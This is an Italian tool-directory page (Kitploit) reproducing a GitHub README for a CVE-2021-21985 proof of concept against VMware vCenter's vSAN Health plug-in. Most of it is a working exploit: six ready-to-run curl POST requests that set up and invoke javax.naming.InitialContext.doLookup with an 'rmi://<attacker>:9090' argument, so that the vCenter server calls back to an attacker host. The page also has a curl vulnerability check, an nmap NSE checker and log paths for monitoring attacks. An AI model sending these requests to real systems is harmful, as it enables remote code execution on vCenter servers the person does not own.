Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-21985_PoC | Kitploit
Strumenti/GitHubGitHub/alt3kx/cve-2021-21985_poc
RicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso Remoto
GitHubalt3kx/cve-2021-21985_poc

CVE-2021-21985_PoC

Vedi Repository
213493 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-21985 (Codice vulnerabile)

06_test_class_method

CLASS/METHOD(s) disponibili, un piccolo esempio a scopo di PoC: com.vmware.vsan.client.services.capability.VsanCapabilityProvider

root@kitploit:~
[../snip]
getClusterCapabilityData
getHostCapabilityData
getHostsCapabilitiyData
getIsDeduplicationSupported
getIsEncryptionSupported
getIsLocalDataProtectionSupportedOnVc
getIsLocalDataProtectionSupportedOnCluster
getIsRemoteDataProtectionSupported
getIsObjectIdentitiesSupportedOnCluster
getIsHistoricalCapacitySupported
getIsPerfVerboseModeSupported
getIsPerfNetworkDiagnosticModeSupported
getIsPerfDiagnosticsFeedbackSupportedOnVc
getIsAdvancedClusterSettingsSupported
getIsRecreateDiskGroupSupported
getIsPurgeInaccessibleVmSwapObjectsSupported
getIsUpdateVumReleaseCatalogOfflineSupported
getIsVitOnlineResizeSupported
getIsImprovedCapacityMonitoringSupportedOnVc
getIsVmLevelCapacityMonitoringSupported
getIsWhatIfCapacitySupported
getIsHostReservedCapacitySupported
getIsUnmountWithMaintenanceModeSupported
getIsEvacuationStatusSupportedOnCluster
...
...
[../snip]

CVE-2021-21985 (PoC)

Il vSphere Client (HTML5) contiene una vulnerabilità di esecuzione di codice remoto dovuta alla mancanza di validazione dell'input nel plug-in Virtual SAN Health Check, abilitato per impostazione predefinita in vCenter Server.

Questo controllo manuale verifica l'esistenza di CVE-2021-21985 basandosi sulle CLASS/METHOD(s) disponibili per impostazione predefinita su vCenter, ad es. "/ui/h5-vsan/rest/*", inviando una richiesta POST e cercando dati JSON nel corpo della risposta (200).

Ispezione manuale:

root@kitploit:~
# curl -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[{\"type\":\"ClusterComputeResource\",\"value\": null,\"serverGuid\": null}]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'

03_curl

PoC Exploit Rilasciato (1)

Crediti: https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

Passaggi per riprodurre:

Avvia il tuo server python per ricevere la connessione dal sistema target (vCenter), ad es.

root@kitploit:~
# python3 -m http.server 9090

Passo 1: imposta TargetObject su null

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
{“methodInput”:[null]}

root@kitploit:~
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\xe2\x80\x9cmethodInput\xe2\x80\x9d:[null]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject'

Passo 2: imposta setStaticMethod sul payload

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
{“methodInput”:[“javax.naming.InitialContext.doLookup”]}

root@kitploit:~
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[\"javax.naming.InitialContext.doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod'

Passo 3: imposta setTargetMethod su doLookup

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
{“methodInput”:[“doLookup”]}

root@kitploit:~
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'\x0d\x0a{\"methodInput\":[\"doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod'

Passo 4: imposta setArguments con gli argomenti del payload

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
{“methodInput”:[["rmi://attacker:9090/alex666"]]}

root@kitploit:~
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[[\"rmi://<attacker>:9090/alex666\"]]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments'

Passo 5: classe e metodi iniziali del payload

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
{“methodInput”:[]}

root@kitploit:~
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare'

Passo 6: attiva l'invocazione del metodo. Dopo questa POST attendi qualche secondo e controlla il log del tuo server python

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
{“methodInput”:[]}

root@kitploit:~
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke'

exploit_01

Riferimenti:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985
https://www.vmware.com/security/advisories/VMSA-2021-0010.html
https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis

CVE-2021-21985 (NSE checker)

Questo script verifica l'esistenza di CVE-2021-21985 basandosi sulle CLASS/METHOD(s) disponibili per impostazione predefinita su vCenter, ad es. "/ui/h5-vsan/rest/*", inviando una richiesta POST e cercando dati JSON nel corpo della risposta (200).

Utilizzo

# nmap -p443 --script CVE-2021-21985.nse <target>

Output

root@kitploit:~
---
-- @usage
-- nmap -p443 --script CVE-2021-21985.nse <target>
-- @output
-- PORT    STATE SERVICE
-- 443/tcp open  https
-- | CVE-2021-21985: 
-- |   VULNERABLE:
-- |   vCenter 6.5-7.0 RCE
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2021-21985
-- |       The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input 
-- |       validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server.
-- |     Disclosure date: 2021-05-28
-- |     References:
-- |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985

CVE-2021-21985

vCenter vSAN Health (log della console)

Percorso dei log vCenter

root@kitploit:~
# /var/log/vmware/vsan-health/

03_vSAN-health

vSphere Client (log della console)

Monitoraggio degli attacchi

root@kitploit:~
# tail -f /var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log

04_monitoring

Autore

Alex Hernandez alias (@_alt3kx_)

Scarica lo strumento